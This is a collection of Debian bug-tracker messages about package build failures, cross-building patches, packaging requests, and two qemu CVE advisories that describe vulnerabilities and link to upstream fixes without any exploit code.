> The kernel log is attached.
-- 
Ben Hutchings
I'm not a reverse psychological virus.  Please don't copy me into your
sig.



signature.asc
Description: This is a digitally signed message part

Bug#848490: dep: (display manager)

[Ross Vandegrift]

Control: tags -1 pending

On Sat, Dec 17, 2016 at 10:38:09AM -0500, Scott wrote:
> Package: e17
> Version: 0.17.6-1
> Severity: normal
> 
> Dear Maintainer,
> 
> Thanks for packaging e17!  I've enjoyed trying it out.
> 
> Using debian-installer, did not select desktop environment (e17 not included 
> in
> list of available environments).  Used aptitude to install e17.  Discovered 
> e17
> package does not recommend display manager.  I installed lightdm.  System then
> started with display manager logon into e17 environment.

I compared to fvwm, mwm, twm, sawfish, and i3 - none had Depends or
Recommends on a display manager.  So I think this should remain as-is.

> Also suggest adding Terminology to dep/rec.

This kind of thing is more common though, so I'll add it.

Thanks,
Ross

Bug#880844: flash-kernel: fails to include rootflags=subvol=@

[Mark]

Package: flash-kernel
Version: 3.79
Severity: critical
Tags: d-i
Justification: breaks the whole system

Dear Maintainer,

I used debian installer to install debian on an Allwinner
A20-OLinuXino-Lime2 following the instructions at:
https://wiki.debian.org/InstallingDebianOn/Allwinner

In the debian installer, I changed priority to medium so that I could
have control over the partitioning steps.  I have an attached SATA disk
and partitioned this as physical volume for encryption with a btrfs
filesystem on it.

I then proceeded to manually create subvolumes on the btrfs filesystem
and mounted the root subvolume as /target.

Essentially, my /target was mounted as:
# mount -t btrfs -o rw,ssd,noatime,nodiratime,compress=lzo,space_cache,subvol=@ 
/dev/mapper/sda3_crypt /target

(Also fixed /etc/fstab)

After finishing the install and rebooting, the system fails to boot and u-boot 
drops into an initramfs shell.

The problem is that u-boot does not pass the rootflags=subvol=@ to the
boot command.  The root btrfs filesystem is mounted on /root in the
initramfs rather than the subvolume @ being mounted as /root.

I was able to manually remount the subvolume @ onto /root and further
mount /boot (which is ext2 filesystem on micro SD card partition 1).

I looked in /boot/boot.scr and saw this line:
setenv bootargs ${bootargs} quiet
which assumes that bootargs may have already been set.

I rebooted the system and stopped u-boot to enter the u-boot shell.
I added some environment variables as follows:
=> setenv rootflags 'subvol=@'
=> setenv bootargs rootflags=${rootflags}
=> saveenv
=> reset

Now u-boot passes bootargs=rootflags=subvol=@
And the system boot properly.

Furthermore, if I run flash-kernel my settings are not overwritten and
the system continues to boot properly.

However, I don't think this is the correct way to fix the problem.
I couldn't see any configuration file for flash-kernel or
initramfs-tools for setting rootflags.

Is there a configuration option which will add rootflags somewhere so
that flash-kernel puts this in the boot.scr file?



-- System Information:
Debian Release: 9.2
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: armhf (armv7l)

Kernel: Linux 4.9.0-4-armmp-lpae (SMP w/2 CPU cores)
Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_AU:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages flash-kernel depends on:
ii  debconf [debconf-2.0]  1.5.61
ii  devio  1.2-1.2+b1
ii  initramfs-tools0.130
ii  linux-base 4.5
ii  mtd-utils  1:2.0.0-1
ii  ucf3.0036

Versions of packages flash-kernel recommends:
ii  u-boot-tools  2016.11+dfsg1-4

flash-kernel suggests no packages.

-- debconf information:
* flash-kernel/linux_cmdline: quiet

Bug#873712: freetds FTCBFS: uses the build architecture pkg-config

[Manuel A. Fernandez Montecelo]

Hi,

2017-08-30 13:05 Helmut Grohne:

Source: freetds
Version: 0.91-6.1
Severity: normal
Tags: patch upstream
User: helm...@debian.org
Usertags: rebootstrap

freetds fails to cross build from source, because it fails finding
gnutls with the build architecture pkg-config. After making it consider
$ac_tool_prefix by using PKG_PROG_PKG_CONFIG, freetds cross builds
successfully. Please consider applying the attached patch.


I think that we need a separate patch for debian/patches, included in
d/p/series and so on, it cannot be applied straight away.

The package looks a bit behind in terms of maintenance, with few updates
and an NMU from more than 2 years ago as the last upload, so if
maintainers don't have anything against it, I could upload a package
with this fix.

(It's a dependency of important packages like qtbase-opensource-src,
among others).


Cheers.
--
Manuel A. Fernandez Montecelo 

Bug#880843: libperl-apireference-perl FTBFS with perl 5.26.1

[Adrian Bunk]

Source: libperl-apireference-perl
Version: 0.22-6
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/libperl-apireference-perl.html

...
for f in data/*.xz; do unxz -k -f $f; done
perl debian/regenerate.pl
Processing: 5.6.0
Processing: 5.6.1
Processing: 5.6.2
Processing: 5.8.0
Processing: 5.8.1
Processing: 5.8.2
Processing: 5.8.3
Processing: 5.8.4
Processing: 5.8.5
Processing: 5.8.6
Processing: 5.8.7
Processing: 5.8.8
Processing: 5.8.9
Processing: 5.10.0
Processing: 5.10.1
Processing: 5.12.0
Processing: 5.14.0
Processing: 5.16.0
Processing: 5.16.2
Processing: 5.18.0
Processing: 5.20.0
Processing: 5.20.1
Processing: 5.20.2
Processing: 5.22.0
Processing: 5.22.1
Processing: 5.22.2
Processing: 5.24.0
Processing: 5.24.1
Processing: 5.26.0
echo Current Perl is `perl -MConfig -we'printf("%d_%03d_%03d.pm", 
$Config{PERL_REVISION}, $Config{PERL_VERSION}, $Config{PERL_SUBVERSION})'`
Current Perl is 5_026_001.pm
test -f lib/Perl/APIReference/V`perl -MConfig -we'printf("%d_%03d_%03d.pm", 
$Config{PERL_REVISION}, $Config{PERL_VERSION}, $Config{PERL_SUBVERSION})'`
debian/rules:8: recipe for target 'regenerated-stamp' failed
make[1]: *** [regenerated-stamp] Error 1

Bug#880842: gnome-twitch FTBFS with meson 0.43.0: Invalid kwargs for option "use-deprecated-webkit": "descritpion"

[Adrian Bunk]

Source: gnome-twitch
Version: 0.3.1-1
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/gnome-twitch.html

...
Meson encountered an error in file meson_options.txt, line 2, column 0:
Invalid kwargs for option "use-deprecated-webkit": "descritpion"

A full log can be found at 
/build/1st/gnome-twitch-0.3.1/build/meson-logs/meson-log.txt
debian/rules:13: recipe for target 'override_dh_auto_configure' failed
make[1]: *** [override_dh_auto_configure] Error 1

Bug#880841: freeipa FTBFS with samba 4.7.0

[Adrian Bunk]

Source: freeipa
Version: 4.4.4-3
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/freeipa.html

...
ipa_sam.c: In function 'priv2ld':
ipa_sam.c:335:13: error: dereferencing pointer to incomplete type 'struct 
ldapsam_privates'
  return priv->smbldap_state->ldap_struct;
 ^~
ipa_sam.c: In function 'ldapsam_lookup_rids':
ipa_sam.c:527:41: error: dereferencing pointer to incomplete type 'struct 
ldapsam_privates'
   dom_sid_compare_domain(_state->domain_sid, domain_sid) != 0) {
 ^~
ipa_sam.c: In function 'ldapsam_sid_to_id':
ipa_sam.c:759:33: error: dereferencing pointer to incomplete type 'struct 
ldapsam_privates'
  rc = smbldap_search_suffix(priv->smbldap_state, filter,
 ^~
...

Bug#880840: debhelper: build makefile rule does not replace dh build sequence

[James Cowgill]

Package: debhelper
Version: 10.10.5
Severity: normal

Hi,

If you create a rules file with a manual build target like this:
#!/usr/bin/make -f
%:
dh $@

build:
echo hi

Then, if you run the binary target directly, dh will run the build
target, but then also run the normal build sequence.

$ fakeroot debian/rules binary
dh binary
   debian/rules build
make[1]: Entering directory '/tmp/test'
echo hi
hi
make[1]: Leaving directory '/tmp/test'
   dh_update_autotools_config
   dh_autoreconf
   dh_auto_configure
   dh_auto_build
   dh_auto_test
   create-stamp debian/debhelper-build-stamp
   dh_testroot
   dh_prep
   dh_auto_install
...

I would expect the part from dh_update_autotools_config to dh_auto_test
to be omitted in this case.

I noticed this when I tried to enable Rules-Requires-Root in libopenmpt.
libopenmpt has a "build" target in debian/rules because upstream ships a
top-level "build" directory and make will cause "debian/rules build" to
be a no-op otherwise.

Thanks,
James



signature.asc
Description: OpenPGP digital signature

Bug#812965: Bug#874784: curl: undeclared build depencdency on dh-exec

[Manuel A. Fernandez Montecelo]

Hi,

2017-09-09 19:01 Wookey:

On 2017-09-09 17:00 +0100, Alessandro Ghedini wrote:

On Sat, Sep 09, 2017 at 04:11:59PM +0100, Wookey wrote:
> Package: curl
> Version: 7.52.1-5
> Severity: normal
> Tags: patch
>
> curl needs dh-exec to build, because curl.install is
> #!/usr/bin/dh-exec
> usr/bin/curl
>  usr/share/zsh/*

Don't know where this comes from, but that's not the content of the file:
https://anonscm.debian.org/cgit/collab-maint/curl.git/tree/debian/curl.install


Ah. Apologies. My confusion.

It was changed by rebootstrap in order to make it cross-build correctly.
This was done to deal with the issue outlined in
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=812965

Sp rebootstrap applies this patch before building:
--- a/debian/curl.install
+++ b/debian/curl.install
@@ -1,2 +1,3 @@
+#!/usr/bin/dh-exec
usr/bin/curl
-usr/share/zsh/*
+ usr/share/zsh/*

So this is not a valid bug. (I should have checked the normal package)

But you might want to consider adding this (and a dh-exec build-dep)
as a fix for #812965


It would very nice to fix this, since there are always new architectures
in the works, and being able to cross-build fundamental packages like
curl helps a lot.

So would you consider any of the options explained in the original
report of #812965 acceptable?


Cheers.
--
Manuel A. Fernandez Montecelo 

Bug#880839: python3-stdlib-extensions FTBFS with python 3.6 as only supported version

[Adrian Bunk]

Source: python3-stdlib-extensions
Version: 3.6.2-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python3-stdlib-extensions.html

...
 debian/rules build
dh_testdir
ln -sf /usr/lib/libBLT.2.4.so.8.6 3.5/libBLT86.so
ln -sf /usr/lib/libBLT.2.4.so.8.6 3.5/libBLT86.so.8.6
cd 3.5 &&  python3.5 setup.py build
/bin/sh: 1: python3.5: not found
debian/rules:40: recipe for target 'build-stamp-py3.5' failed
make: *** [build-stamp-py3.5] Error 127

Bug#880495: chromium: Enable va-api acceleration

[Michael Gilbert]

control: tag -1 upstream
control: severity -1 minor
control: forwarded -1 http://crbug.com/463440

This is in the process of getting merged upstream:
https://chromium-review.googlesource.com/c/chromium/src/+/532294

Best wishes,
Mike

Bug#880838: python-restless FTBFS with python 3.6 as only supported version

[Adrian Bunk]

Source: python-restless
Version: 2.0.3-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-restless.html

...
==
ERROR: test_as_detail (tests.test_pyr.PyramidResourceTestCase)
--
Traceback (most recent call last):
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/tests/test_pyr.py",
 line 81, in test_as_detail
resp = detail_endpoint(req)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/pyr.py",
 line 27, in _wrapper
return inst.handle('detail', name)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 290, in handle
return self.build_response(serialized, status=status)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/pyr.py",
 line 37, in build_response
resp = Response(data, status_code=status, content_type=content_type)
  File "/usr/lib/python3/dist-packages/webob/response.py", line 310, in __init__
"You cannot set the body to a text value without a "
TypeError: You cannot set the body to a text value without a charset

==
ERROR: test_as_list (tests.test_pyr.PyramidResourceTestCase)
--
Traceback (most recent call last):
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/tests/test_pyr.py",
 line 54, in test_as_list
resp = list_endpoint(req)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 140, in _wrapper
return inst.handle(view_type, *args, **kwargs)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 290, in handle
return self.build_response(serialized, status=status)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/pyr.py",
 line 37, in build_response
resp = Response(data, status_code=status, content_type=content_type)
  File "/usr/lib/python3/dist-packages/webob/response.py", line 310, in __init__
"You cannot set the body to a text value without a "
TypeError: You cannot set the body to a text value without a charset

==
ERROR: test_create (tests.test_pyr.PyramidResourceTestCase)
--
Traceback (most recent call last):
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/tests/test_pyr.py",
 line 109, in test_create
resp = self.res.handle('list')
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 290, in handle
return self.build_response(serialized, status=status)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/pyr.py",
 line 37, in build_response
resp = Response(data, status_code=status, content_type=content_type)
  File "/usr/lib/python3/dist-packages/webob/response.py", line 310, in __init__
"You cannot set the body to a text value without a "
TypeError: You cannot set the body to a text value without a charset

==
ERROR: test_handle_not_authenticated (tests.test_pyr.PyramidResourceTestCase)
--
Traceback (most recent call last):
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 280, in handle
raise Unauthorized()
restless.exceptions.Unauthorized: Unauthorized.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/tests/test_pyr.py",
 line 93, in test_handle_not_authenticated
resp = self.res.handle('list')
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 287, in handle
return self.handle_error(err)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 306, in handle_error
return self.build_error(err)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/resources.py",
 line 211, in build_error
return self.build_response(body, status=status)
  File 
"/build/1st/python-restless-2.0.3/.pybuild/pythonX.Y_3.6/build/restless/pyr.py",
 line 37, in build_response
resp = Response(data, status_code=status, content_type=content_type)
  File "/usr/lib/python3/dist-packages/webob/response.py", line 310, in __init__
"You cannot set the body to a text value without a "
TypeError: You cannot set the body to a text value without a charset

Bug#862197: mark elinks-data Multi-Arch: foreign

[Manuel A. Fernandez Montecelo]

Hello,

2017-05-09 19:38 Helmut Grohne:

Package: elinks-data
Version: 0.12~pre6-12
Tags: patch
User: helm...@debian.org
Usertags: rebootstrap

elinks cannot be installed for non-native architectures, because its
dependency on elinks-data would be unsatisfiable. In general,
Architecture: all packages can never satisfy dependencies from
non-native architectures unless marked Multi-Arch: foreign. In this
case, such a marking is correct, because elinks-data does not have any
maintainer scripts nor dependencies. The same holds for elinks-doc. The
attached patch marks both of them Multi-Arch: foreign. Please consider
applying it after stretch is released.


Could this fix be applied now, after the realease?

It looks like a net improvement in the package, in any case, and would
enable to cross-build a few packages [1].


Cheers.


[1] perhaps those should have elinks as build-depends-indep instead of
   build-depends, but that's another question.

--
Manuel A. Fernandez Montecelo 

Bug#880837: dh-dist-zilla no longer works with nonexisting $HOME

[Adrian Bunk]

Package: dh-dist-zilla
Version: 1.3.5
Severity: serious
Control: affects -1 src:systray-mdstat src:librun-parts-perl 
src:libcgi-github-webhook-perl

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/systray-mdstat.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/librun-parts-perl.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/libcgi-github-webhook-perl.html

...
 fakeroot debian/rules clean
dh clean --with dist_zilla
   dh_dzil_clean
couldn't determine home directory at /usr/share/perl5/Dist/Zilla/App.pm line 37.
dh_dzil_clean: dzil clean returned exit code 2
debian/rules:5: recipe for target 'clean' failed
make: *** [clean] Error 25


I can reproduce this with
  HOME=/does/not/exist dpkg-buildpackage -b

Bug#880836: qemu: CVE-2017-15268: I/O: potential memory exhaustion via websock connection to VNC

[Salvatore Bonaccorso]

Source: qemu
Version: 1:2.10.0+dfsg-2
Severity: important
Tags: patch security upstream
Control: found -1 1:2.8+dfsg-6

Hi,

the following vulnerability was published for qemu.

CVE-2017-15268[0]:
| Qemu through 2.10.0 allows remote attackers to cause a memory leak by
| triggering slow data-channel read operations, related to
| io/channel-websock.c.

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2017-15268
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15268
[1] 
https://git.qemu.org/gitweb.cgi?p=qemu.git;a=commit;h=a7b20a8efa28e5f22c26c06cd06c2f12bc863493

Regards,
Salvatore

Bug#840085: xauth FTCBFS: unsatisfiable cross Build-Depends: cmdtest

[Manuel A. Fernandez Montecelo]

Hi,

2016-10-08 11:47 Julien Cristau:

Control: tag -1 moreinfo

On Sat, Oct  8, 2016 at 08:12:57 +0200, Helmut Grohne wrote:


xauth cannot satsify its cmdtest dependency during cross building,
because cmdtest is Architecture:all Multi-Arch:no. Fortunately, cmdtest
is only needed for testing, so we can simply annotate it with 
profile. After doing that, it cross builds just fine. Please consider
applying the attached patch.


Hi Helmut,

Is there a reason cmdtest can't be m-a: foreign?  Wouldn't that fix the
issue as well?


I'm not sure how the situation with cmdtest evolved since this bug was
reported, it seems like it was not marked "Multi-Arch: foreign" in the
end.

Independently of that, I think that the request to annotate with
 is a more correct solution no matter what happens with
cmdtest, because adding the profile info to the dependency avoids having
to install dependencies which are not actually needed if one uses for
DEB_BUILD_OPTIONS=nocheck, for example, which is a quite established
method and covered in Policy.

This is a common scenario when bootstrapping new architectures,
"cmdtest" might not be available for multiple reasons -- e.g. python,
python-markdown or any of the other dependencies might not be available
at the time when one wants to build xauth.

In any case, if one wants to build with "nocheck" options, Python would
not have to be installed as build-depends, which is a quite significant
saving.


From the point of view of xauth itself, is there any reason against

using this solution?


Cheers.
--
Manuel A. Fernandez Montecelo 

Bug#880835: plinth: FTBFS with Django 2.x

[Chris Lamb]

Source: plinth
Version: 0.15.3+ds-1
Severity: normal
User: la...@debian.org
Usertags: ftbfs-django-2.x

Dear Maintainer,

plinth fails to build from source when using Django 2.x from
experimental:

  […]

  include_deployment_checks=include_deployment_checks,
File "/usr/lib/python3/dist-packages/django/core/management/base.py", line 
351, in _run_checks
  return checks.run_checks(**kwargs)
File "/usr/lib/python3/dist-packages/django/core/checks/registry.py", line 
73, in run_checks
  new_errors = check(app_configs=app_configs)
File "/usr/lib/python3/dist-packages/django/core/checks/urls.py", line 13, 
in check_url_config
  return check_resolver(resolver)
File "/usr/lib/python3/dist-packages/django/core/checks/urls.py", line 23, 
in check_resolver
  return check_method()
File "/usr/lib/python3/dist-packages/django/urls/resolvers.py", line 388, 
in check
  for pattern in self.url_patterns:
File "/usr/lib/python3/dist-packages/django/utils/functional.py", line 36, 
in __get__
  res = instance.__dict__[self.name] = self.func(instance)
File "/usr/lib/python3/dist-packages/django/urls/resolvers.py", line 527, 
in url_patterns
  patterns = getattr(self.urlconf_module, "urlpatterns", 
self.urlconf_module)
File "/usr/lib/python3/dist-packages/django/utils/functional.py", line 36, 
in __get__
  res = instance.__dict__[self.name] = self.func(instance)
File "/usr/lib/python3/dist-packages/django/urls/resolvers.py", line 520, 
in urlconf_module
  return import_module(self.urlconf_name)
File "/usr/lib/python3.6/importlib/__init__.py", line 126, in import_module
  return _bootstrap._gcd_import(name[level:], package, level)
File "", line 994, in _gcd_import
File "", line 971, in _find_and_load
File "", line 955, in _find_and_load_unlocked
File "", line 665, in _load_unlocked
File "", line 678, in exec_module
File "", line 219, in _call_with_frames_removed
File "«BUILDDIR»/plinth/urls.py", line 20, in 
  from captcha import views as cviews
File "/usr/lib/python3/dist-packages/captcha/views.py", line 2, in 
  from captcha.helpers import captcha_image_url
File "/usr/lib/python3/dist-packages/captcha/helpers.py", line 4, in 

  from django.core.urlresolvers import reverse
  ModuleNotFoundError: No module named 'django.core.urlresolvers'
  E: pybuild pybuild:283: test: plugin distutils failed with: exit code=1: 
python3.6 setup.py test 
  dh_auto_test: pybuild --test -i python{version} -p 3.6 returned exit code 13
  debian/rules:7: recipe for target 'build' failed
  make: *** [build] Error 25
  dpkg-buildpackage: error: debian/rules build subprocess returned exit status 2

  […]

The full build log is attached.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-


plinth.0.15.3+ds-1.experimental.amd64.log.txt.gz
Description: Binary data

Bug#880834: python-lti: Please run the upstream testsuite

[Chris Lamb]

Package: python-lti
Version: 0.9.2-1
Severity: wishlist

Hi,

python-lti ships with a Tox-based testsuite. It would be great if you
could run it during package build; it would help detect regressions when
updating the Django toolchain (eg. Django 2.x).


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#880638: release-notes: Document apt sandbox support [buster]

[David Kalnischkies]

On Sat, Nov 04, 2017 at 10:47:36PM +0100, Julian Andres Klode wrote:
> On Sat, Nov 04, 2017 at 06:23:00AM +, Niels Thykier wrote:
> > As for debtorrent: I /think/ it is a "third-party" method (from apt's
> > PoV) and therefore not covered by the built-in rules.  CC'ing deity to
> > confirm that.

It has to be noted that debtorrent is no more – it was removed from
Debian 4 years ago, so it should really not be mentioned.

The only third-party apt-transport-* packages I know of existing in
Debian ATM are s3 and spacewalk which indeed don't use any of the
recentish introduced hardening features for methods as they are all
"opt-in".

There is also a-t-tor, but that is maintained by the APT team nowadays,
so not 3rd party – and it uses all the same hardening features as http.


> Why not just both? Add it to what's new and add a link to issues saying
> "also the new sandboxing features in apt might cause some issues."

I would expect that by the time we release buster apt has gained some
other noteworthy things to report in "whats new", so that this seccomp
thingy can be kept mostly contained in the issue part as that feature is
ideally a user invisible change and the news entry just points to the
issue section (but to be honest, not sure if its even worthy for issues
as we have bigger issues if we haven't figured out the required syscalls
for all release architectures at buster release time…)


Best regards

David Kalnischkies


signature.asc
Description: PGP signature

Bug#880791: os-autoinst FTBFS frequently: FAIL 99-full-stack.t

[Hideki Yamane]

control: tags -1 +forwarded https://progress.opensuse.org/issues/27322
control: tags -1 +upstream

On Sat, 04 Nov 2017 22:15:16 +0200
Adrian Bunk  wrote:
> Source: os-autoinst
> Version: 4.4.1508936943.39adc5eb-1
> Severity: serious
> 
> https://buildd.debian.org/status/package.php?p=os-autoinst=sid

 Thanks, now asking to upstream.


-- 
Regards,

 Hideki Yamane henrich @ debian.or.jp/org
 http://wiki.debian.org/HidekiYamane

Bug#880833: django-axes: FTBFS with python3-django in experimental

[Chris Lamb]

Source: django-axes
Version: 2.3.3-1
Severity: normal
User: la...@debian.org
Usertags: ftbfs-django-2.x

Dear Maintainer,

django-axes fails to build from source when using python3-django
(ie. Django 2.x) from experimental:

  […]

 debian/rules override_dh_auto_test
  make[1]: Entering directory '«BUILDDIR»'
  python3 runtests.py
  E
  ==
  ERROR: tests (unittest.loader._FailedTest)
  --
  ImportError: Failed to import test module: tests
  Traceback (most recent call last):
File "/usr/lib/python3.6/unittest/loader.py", line 153, in loadTestsFromName
  module = __import__(module_name)
File "«BUILDDIR»/axes/tests.py", line 13, in 
  from django.core.urlresolvers import NoReverseMatch
  ModuleNotFoundError: No module named 'django.core.urlresolvers'
  
  
  --
  Ran 1 test in 0.000s
  
  FAILED (errors=1)
  Creating test database for alias 'default'...
  System check identified no issues (0 silenced).
  Destroying test database for alias 'default'...
  debian/rules:21: recipe for target 'override_dh_auto_test' failed
  make[1]: *** [override_dh_auto_test] Error 1
  make[1]: Leaving directory '«BUILDDIR»'
  debian/rules:7: recipe for target 'build' failed
  make: *** [build] Error 2
  dpkg-buildpackage: error: debian/rules build subprocess returned exit status 2

  […]

The full build log is attached.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-


django-axes.2.3.3-1.experimental.amd64.log.txt.gz
Description: Binary data

Bug#880832: qemu: CVE-2017-15289: cirrus: OOB access issue in mode4and5 write functions

[Salvatore Bonaccorso]

Source: qemu
Version: 1:2.10.0+dfsg-2
Severity: important
Tags: patch security upstream fixed-upstream
Forwarded: https://lists.gnu.org/archive/html/qemu-devel/2017-10/msg02557.html

Hi,

the following vulnerability was published for qemu.

CVE-2017-15289[0]:
| The mode4and5 write functions in hw/display/cirrus_vga.c in Qemu allow
| local OS guest privileged users to cause a denial of service
| (out-of-bounds write access and Qemu process crash) via vectors
| related to dst calculation.

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2017-15289
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15289
[1] https://lists.gnu.org/archive/html/qemu-devel/2017-10/msg02557.html
[2] 
https://git.qemu.org/gitweb.cgi?p=qemu.git;a=commit;h=eb38e1bc3740725ca29a535351de94107ec58d51

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#880831: cgsi-gsoap FTBFS: gssapi_openssl.h:129:5: error: unknown type name 'STACK'

[Adrian Bunk]

Source: cgsi-gsoap
Version: 1.3.10-3
Severity: serious

Some recent change in unstable makes cgsi-gsoap FTBFS:

https://tests.reproducible-builds.org/debian/history/cgsi-gsoap.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/cgsi-gsoap.html

...
make[1]: Entering directory '/build/1st/cgsi-gsoap-1.3.10/src'
gcc -g -O2 -fstack-protector-strong -Wformat -Werror=format-security 
-Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -I. -DWITH_IPV6 -DWITH_NO_IPV6_V6ONLY 
-DWITH_DOM -I/usr/include/globus -I/usr/lib/globus/include 
-I/usr/include/x86_64-linux-gnu/globus  -c -o cgsi_plugin.o cgsi_plugin.c
In file included from cgsi_plugin.c:36:0:
gssapi_openssl.h:129:5: error: unknown type name 'STACK'
 STACK * group;
 ^
cgsi_plugin.c: In function 'trace_str':
cgsi_plugin.c:2208:13: warning: ignoring return value of 'write', declared with 
attribute warn_unused_result [-Wunused-result]
 write(fd, msg, len);
 ^~~
cgsi_plugin.c: In function 'client_cgsi_plugin_import_cred':
cgsi_plugin.c:897:5: warning: ignoring return value of 'fread', declared with 
attribute warn_unused_result [-Wunused-result]
 fread(buffer.value, cert_size, 1, fd);
 ^
cgsi_plugin.c:909:13: warning: ignoring return value of 'fread', declared with 
attribute warn_unused_result [-Wunused-result]
 fread((char*)buffer.value + cert_size, key_size, 1, fd);
 ^~~
Makefile:162: recipe for target 'cgsi_plugin.o' failed
make[1]: *** [cgsi_plugin.o] Error 1

Bug#875928: security update: ruby2.3

[Adam D. Barratt]

On Sat, 2017-11-04 at 22:08 +0100, Salvatore Bonaccorso wrote:
> Hi Antonio
> 
> Sorry for the late reply
> 
> On Mon, Oct 23, 2017 at 11:49:28AM -0200, Antonio Terceiro wrote:
> > Hi security team,
> > 
> > I have prepared a security update for ruby2.3.
> > 
> > It includes all the pending recent CVE's, plus a fix for a bug that
> > causes runaway child processes hogging the CPU, noticed at least in
> > puppet.
> 
> For the later one, not directly a security issue, strictly speaking
> we
> would need an ack from the SRM to see they would ack it to a point
> release and then we can pick it as well for a security update. The
> patch though looks confined enough that I would trust it's okay as
> well for SRM to see it included (Cc'ed explicity Adam).

Assuming that's "0005-thread_pthread.c-do-not-wakeup-inside-child-
processe.patch", it looks okay to me.

As I've previously mentioned to Salvatore in another discussion, the
fact that the patch hasn't been applied in unstable, afaict, doesn't
fit our usual requirements for accepting patches in stable. I
understand there are reasons for that, and the upload going via the
security archive does make things slightly easier from that
perspective, but as thinks stand I imagine we'll end up pushing +deb9u2
into unstable during the next point release, as we did with +deb9u1
recently.

Regards,

Adam

Bug#840120: Please package 9.11 for Stretch

[Manuel A. Fernandez Montecelo]

(just passing by...)


Hi,

2016-10-08 15:22 Bernhard Schmidt:

Package: bind9
Severity: wishlist

Hi,

bind 9.11 has bene released recently, with many DNSSEC related improvements

- dnssec-keymgr
- Negative Trust-Anchors
- RFC 7344

Please consider packaging 9.11 for Stretch, these features will be immensly
helpful within Stretch lifetime.


Since this didn't happen in the end, perhaps it's time to close this
bug?

Or in any case, to repurpose it to including it in unstable and future
versions.


Cheers.
--
Manuel A. Fernandez Montecelo 

Bug#880830: python-hug FTBFS with python 3.6 as only supported version

[Adrian Bunk]

Source: python-hug
Version: 2.3.0-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-hug.html

...
dh_auto_clean
E: Please add apropriate interpreter package to Build-Depends, see pybuild(1) 
for details at /usr/share/perl5/Debian/Debhelper/Buildsystem/pybuild.pm line 
199.
debian/rules:12: recipe for target 'override_dh_auto_clean' failed
make[1]: *** [override_dh_auto_clean] Error 25

Bug#880829: plexus-containers FTBFS: ComponentDescriptor.java:[192,44] incompatible types: java.lang.Class<capture#1 of ?> cannot be converted to java.lang.Class

[Adrian Bunk]

Source: plexus-containers
Version: 1.0~beta3.0.7-9
Severity: serious

Some recent change in unstable makes plexus-containers FTBFS:

https://tests.reproducible-builds.org/debian/history/plexus-containers.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/plexus-containers.html

...
[ERROR] COMPILATION ERROR : 
[INFO] -
[ERROR] 
/build/1st/plexus-containers-1.0~beta3.0.7/plexus-container-default/src/main/java/org/codehaus/plexus/component/repository/ComponentDescriptor.java:[192,44]
 incompatible types: java.lang.Class cannot be converted to 
java.lang.Class
[ERROR] 
/build/1st/plexus-containers-1.0~beta3.0.7/plexus-container-default/src/main/java/org/codehaus/plexus/component/repository/ComponentDescriptor.java:[302,54]
 incompatible types: java.lang.Class cannot be converted to 
java.lang.Class
[INFO] 2 errors 
[INFO] -
[INFO] 
[INFO] 
[INFO] Skipping Parent :: Plexus Containers
[INFO] This project has been banned from the build due to previous failures.
